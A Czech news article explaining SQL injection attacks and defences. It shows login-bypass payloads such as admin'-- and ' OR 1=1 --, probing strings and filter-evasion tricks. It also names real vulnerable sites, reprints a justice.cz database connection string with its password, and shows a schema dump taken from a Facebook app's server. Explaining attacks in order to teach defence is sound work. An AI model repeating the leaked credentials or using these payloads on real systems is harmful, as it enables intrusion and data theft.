Děravé databáze: věčná láska hackerů

Jedním z klasických útoků na webovou stránku, aplikaci či server je SQL Injection. O tom, že tato zranitelnost je stále hojně využívána pro útoky, svědčí statistika, podle které je na prolomení náchylných 17 % všech webů na Internetu. Jak SQLi funguje a jak se bránit?

Práce s databázemi je v současné době jedno z nejvíce podceňovaných bezpečnostních rizik pro internetové stránky a systémy. Nevyhne se přitom ani velkým, robustním, případně renomovaným serverům. V době psaní tohoto článku byla na webu www.justice.cz zranitelnost, která prostým zadáním adresy http://portal­.justice.cz/jus­tice2/ „vyhodila“ kompletní přihlašovací údaje do databáze. Vypadaly asi takhle:

Data Source=194.213.41.26;Initial Catalog=justice_new_090304;User ID=justiceweb;Password=dotworks

Zde je screenshot:

SQLi screenshot

Pokud by se někdo dostal přes firewall a spojil by se s jejich SQL serverem, může číst nebo editovat celou databázi, říká Marek Krátký, jednatel firmy MKNet s.r.o., která se mimo jiné na SQL databáze a programování v dot netu specializuje. Nápravou je podle něj zakázat v konfiguraci webu posílání chybových zpráv uživatelům, nepoužívat autentizaci SQL Serveru ale Windows autentizaci a volit složitější hesla.

Je mimochodem zajímavé, že po upozornění provozovatel, kterým je O2 Business Solutions, chybu okamžitě napravil, aniž by se obtěžoval na ohlášení chyby jakkoliv reagovat. Není zač. Něco z marketingové sebechvály si přečtěte třeba zde na o2bs.com.

Nejoblíbenějším a asi nejčastějším útokem na SQL databázi je ovšem takzvaná SQL Injection (čti es kvé el indžekšn, zkratka je SQLi). Podle průzkumu kalifornské agentury WhiteHat Security, která se na zabezpečení serverů specializuje, je v současné době zranitelných plných 17 % serverů.

SQLi graf

Pokud se chceme SQLi bránit, je třeba nejprve pochopit, jak útočníci postupují. Ukážeme si proto nyní několik základních příkladů a řekneme si i konkrétní postupy, které jsou k útokům využívány.

Útok – není to nijak těžké a stačí na to prohlížeč

Prvním krokem útoku bývá vytipování oběti. Na Internetu je několik míst, kde hackeři shromažďují tipy na zranitelné servery a stránky. Jinou možností je cílený útok na předem stanovený cíl. Pojďme se podívat například na stránku facebookovské aplikace TV Show Badges and Chat (útoky na aplikace ve Facebooku se vůbec postupně stávají „hitem sezóny“, mnoho jich je totiž děravých jako cedník).

http://apps.facebook.com/tvshowchat/

Když dole klikneme na některý z obrázkových odkazů pod titulkem „Popular Shows“, dostaneme adresu, která bude vypadat například takto:

http://apps.facebook.com/tvshowchat/show.php?id=72450

Neboli v adrese se nachází soubor php, parametr id je roven 72450. Mimochodem, tip na tuto stránku se dal najít před třemi měsíci na jednom izraelském hackerském fóru.

Dále útočník přemýšlí, jak asi vypadá uvnitř skriptu php dotaz na SQL databázi. V našem případě by mohl vypadat nějak takhle:

SELECT * FROM popularshows WHERE id=$id

A teď princip metody SQL Injection. Vtip je v tom, že pokud se parametr do tohoto dotazu nepřenáší přes nějaký druh filtrace, ale je prostě přímo v dotazu, útočník se může pokusit upravit dotaz na databázi dle své libovůle. Nejdřív se často zkouší náchylnost k útoku. Stačí k adrese připsat například AND 1=0 (existují celé seznamy takových kousků kódu, které lze vyzkoušet). Většinou se zkouška dělá ručně, když je stránka velká a útok cílený, využívají se roboti a speciální software. Tak tedy, URL nyní vypadá následovně:

http://apps.facebook.com/tvshowchat/show.php?id=72450 AND 1=0

Pokud vypadne (užitečná) chybová hláška, stránka je velmi pravděpodobně zranitelná. Zde se všem nejedná přímo o zranitelnost Facebooku, ale spíš tohoto serveru:

http://www.tomsapps.com/
http://www.tomsapps.com/tv/badges/

A zde lze právě SQLi použít (podívejte se pro zajímavost na http://www.tom­sapps.com/tv/bad­ges/text/). Když se otestuje zranitelnost, buď se ručně místo AND 1=0 zadávají části dotazu na databázi, nebo se na to opět použije software. Využívány jsou často příkazy ORDER BY, UNION a funkce jako user() nebo database(). Konečným důsledkem může být stáhnutí kompletní databáze s její strukturou a uloženými daty a nebo v horším případě – její editace (či smazání). Tady je vidět jeden z výsledků, který Izraelci ze serveru vytáhli robotem:

User name: tomkincaid@ps5008­.dreamhost.com
Database: tv
Version:5.0.45-log
Union columns: 1
Databases: 33
Databases:

   *information_sche­ma
   *astro
   *candukincaid
   *cemeteries
   *churchwpdb
   *countdownapp
   *crush
   *dare
   *friendiq
   *giants
   *hookup
   *jauntlet
   *loccus
   *luciacanduwp
   *maps
   *martisor
   *mediax
   *mostlikely
   *music
   *pimpfriends
   *plans
   *politicsapp
   *postergifts
   *posters2
   *projectbasecamp
   *quiz
   *seeall
   *send
   *supporter
   *swapu
   *tomsapps
   *travelbug
   *tv

DB Name: friendiq

   *oscache
   *score
   *user

Table Name: friendiq.user

   *userid
   *siteid
   *sign
   *badge
   *session
   *locked
   *added
   *removed
   *active
   *locale
   *appid
   *addedremoved
   *gender
   *seeking
   *quote
   *location
   *lat
   *lon
   *birthdate
   *points
   *removedactive
   *notify
   *reversenotifty
   *useridsiteid
   *profiletype
   *profileurl
   *notif
   *quotelocation
   *cclist
   *journeyid
   *maptypeuserid
   *showphone
   *badgeadded
   *siteidsession
   *paid
   *free
   *mood
   *money
   *networthheadline
   *aboutme
   *rate
   *price
   *networkid
   *networkname
   *flag
   *bonus
   *placeid
   *friends
   *username
   *userimage
   *timezoneoffset
   *zoom
   *sessionadded
   *postersize
   *removedbasecampid
   *basecampname
   *initials
   *appkey
   *notification
   *sessionlat
   *showprofile

Formuláře – i sem je možné vložit kus SQL kódu

Kromě parametrů v URL je možné provádět vkládání kódů do nedostatečně zabezpečených formulářů. „Nejprofláklejší“ je situace, kdy je třeba zadat přihlašovací jméno a heslo v nějakých dvou políčkách. Pokud je stránka nulově zabezpečená, prostý dotaz na databázi může vypadat třeba takto:

SELECT * FROM users WHERE userid='$id' AND password='$pwd'

Do těchto extrémně děravých formulářů stačí místo přihlašovacího jména napsat útočníkovi následující kus kódu:

admin'--

A je přihlášen. Vykoná se totiž příkaz:

SELECT * FROM users WHERE userid='admin'-- ' AND password=''

Pokud si administrátor dal nikoliv důvtipně userid admin, kód bude fungovat okamžitě. Jinak útočník bude muset userid uhodnout nebo se k němu propracovat jinak. Zbytek kousku kódu – a jeden prázdný znak slouží k „zakomentování“ nechtěného pokračování původního příkazu. Ještě jednou možností, jak se obejít bez userid, je použít trik s logickým operátorem OR. Například takto:

' OR 1=1 --

Z čehož vznikne kód:

EBF16

SELECT * FROM users WHERE userid='' OR 1=1 -- ' AND password=''

Nejlepším útokem je obrana

Existuje několik základních způsobů obrany, útočníci se je pak snaží obejít. V této chvíli už se pohybujeme na půdě boje proti případnému útočníkovi a situace se komplikuje, popíšu tedy v krátkosti, co se například může stát. Popsané techniky útoku se nazývají mj. „morphing“ a existuje velké množství dalších postupů, mezi jinými HEX reprezentace, jiné kódování, kombinace komentářů a tak dále. Několik ukázek:

Obrana proti SQLi
Obrana Odpověď útočníka
detekování mezer náhrada znakem + nebo /**/
znefunkčnění apostrofů použití šestnáctkové ASCII hodnoty znaku
detekce příkazů jako např. UNION kombinování malých a velkých písmen (příkaz projde detekcí, ale MySQL ho zkousne)

Obrana proti SQL Injection je dnes naprostá nutnost

Vzhledem k množství děravých aplikací a relativně nepříliš velkým nárokům na znalosti útočníka můžeme očekávat, že pokusů o průnik pomocí SQL bude přibývat. Jak se lze bránit? Zde je několik rad:

  1. Filtrujte a testujte data, která přijímáte. Jednoduchou možností je například funkce mysql_real_es­cape_string. Lze také přetypovat vstup, ověřit ho podmínkou atd. Bindujte (viz. MySQLi_STMT class, bind variables).
  2. Oddělte SQL dotazy od uživatelských dat, které jsou předávány jako parametry, můžete-li, použijte prepare.
  3. Vypněte chybové hlášky. Pro útočníka jsou velmi poučné a pomáhají mu v jeho cíli.
  4. Nepoužívejte triviální hesla. Je pořád lepší mít papír plný hesel typu @gH6>tT444hjuU než se nechat nachytat na triviálnostech jako admin/maruska (=adminova dívka).
  5. Pokud používáte outsourcované, opensourcové nebo jiným způsobem dodané či vedené CMS nikoliv vlastní výroby, používejte vždy nejnovější verze, updatujte a patchujte.
  6. Pokud používáte nějaké CMS nebo podobný systém nikoliv vlastní výroby, překopejte databázi tak, aby neobsahovala defaultní názvy například tabulek.
  7. Vhodně nastavte práva na straně databáze.
  8. Nasaďte Intrusion Detection System (IDS). Zjistěte si ovšem co konkrétně umí a jak dobře to umí (některé IDS jsou totiž velmi slabé). Další možností je WAF systém (Web Application Firewall).
  9. Zkuste si najít pár lepších návodů na SQLi a otestujte zranitelnosti svého serveru.
  10. Vůbec nejspolehlivější rada, která je stoprocentně spolehlivá: najděte si někoho, kdo stránky umí napadat a zaplaťte mu za útok na sebe a za následné zpracování zprávy o tom, kde se nacházejí jaké zranitelnosti. O tohle se snaží i některé firmy a agentury – nejlepší je ale „živý“ hacker vytažený rovnou z temného undergroundu, který zná poslední fígle a jeho útok bude autentický.

Anketa

Myslíte si, že na Facebooku používáte bezpečné aplikace?

50 názorů Vstoupit do diskuse
poslední názor přidán 11. 1. 2010 9:56